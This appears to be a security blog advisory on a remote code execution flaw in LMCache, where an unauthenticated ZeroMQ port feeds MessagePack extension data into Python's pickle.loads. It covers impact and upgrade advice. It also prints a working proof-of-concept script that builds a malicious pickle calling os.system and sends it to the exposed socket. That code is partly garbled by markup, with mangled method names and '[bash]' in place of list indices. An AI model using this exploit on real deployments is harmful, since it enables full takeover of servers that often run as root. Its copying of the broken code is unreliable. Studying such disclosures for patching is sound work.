Listen to this Post
The vulnerability arises due to an unauthenticated ZeroMQ transport layer used in LMCache’s multiprocess mode, which binds to a network interface without message authentication, encryption, or access controls. When worker processes or remote peers communicate, incoming messages formatted in MessagePack utilize an extension code that routes data directly into Python’s built-in `pickle.loads` function inside the device wrapper deserialization logic. Because this unpickling process occurs dynamically during the argument decoding phase—prior to any request handler validation or security checks—an unauthorized remote attacker can transmit a maliciously crafted payload over the network socket. Consequently, the application blindly deserializes the malicious object, allowing arbitrary code execution under the exact system privileges of the running LMCache process, which defaults to root permissions within official container images.
DailyCVE Form:
Platform: LMCache
Version: 0.3.9 to 0.5.5
Vulnerability : Remote Code Execution
Severity: Critical (9.8)
date: 2026-10-07
Prediction: Version 0.5.6 release
What Undercode Say:
Showing bash commands and codes related to the blog
python -m lmcache.v1.multiprocess.http_server \ --http-host 127.0.0.1 --http-port 8080 \ --host 0.0.0.0 --port 5555 \ --l1-size-gb 0.25 --eviction-policy LRU \ --hash-algorithm blake3 --instance-id mp-node-01
import os
import pickle
import msgspec
import zmq
class EvilPayload:
def <strong>init</strong>(self, cmd):
self.cmd = cmd
def <strong>reduce</strong>(self):
return (os.system, (self.cmd,))
evil_pickle = pickle.dumps(EvilPayload("id > /tmp/zmq_pwn 2>&1"))
REGISTER_KV_CACHE = 1
EXT_CODE = 1
NUM_PAYLOADS = 7
KVCACHE_INDEX = 1
b_uid = msgspec.msgpack.encode(0)
b_type = msgspec.msgpack.encode(REGISTER_KV_CACHE)
payloads = [msgspec.msgpack.encode(None)] NUM_PAYLOADS
payloads[bash] = msgspec.msgpack.encode(0)
payloads[bash] = msgspec.msgpack.encode(
[msgspec.msgpack.Ext(EXT_CODE, evil_pickle)]
)
frames = [b_uid, b_type, payloads]
ctx = zmq.Context()
s = ctx.socket(zmq.DEALER)
s.connect("tcp://127.0.0.1:5555")
s.send_multipart(frames)
How Exploit: (Educational Purposes!)
An attacker establishes a network connection to the exposed ZeroMQ port (default 5555) of a vulnerable LMCache instance running in multiprocess mode. By crafting a malicious MessagePack frame containing a custom extension code mapped to a serialized Python pickle payload, the attacker targets the `DeviceIPCWrapper.Deserialize` execution path. When the server processes the incoming stream, `pickle.loads` executes the embedded commands automatically during the decoding stage before input sanitization or handler logic can run, achieving instant remote code execution.
Protection: from this CVE
Upgrade to version 0.5.6 or later where pickle deserialization is completely replaced with strict typed MessagePack validators and safe allowlists. Ensure the ZeroMQ transport is never bound to public routable addresses (--host 0.0.0.0), restrict network access using strict firewall rules or internal cluster boundaries, and avoid running container workloads with root privileges.
Impact:
Unauthenticated remote attackers capable of reaching the ZeroMQ transport port can execute arbitrary system commands with the complete privileges of the LMCache process. In default container deployments where the application executes as root, this leads to total host or container compromise, data exfiltration, and lateral movement across connected network nodes.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
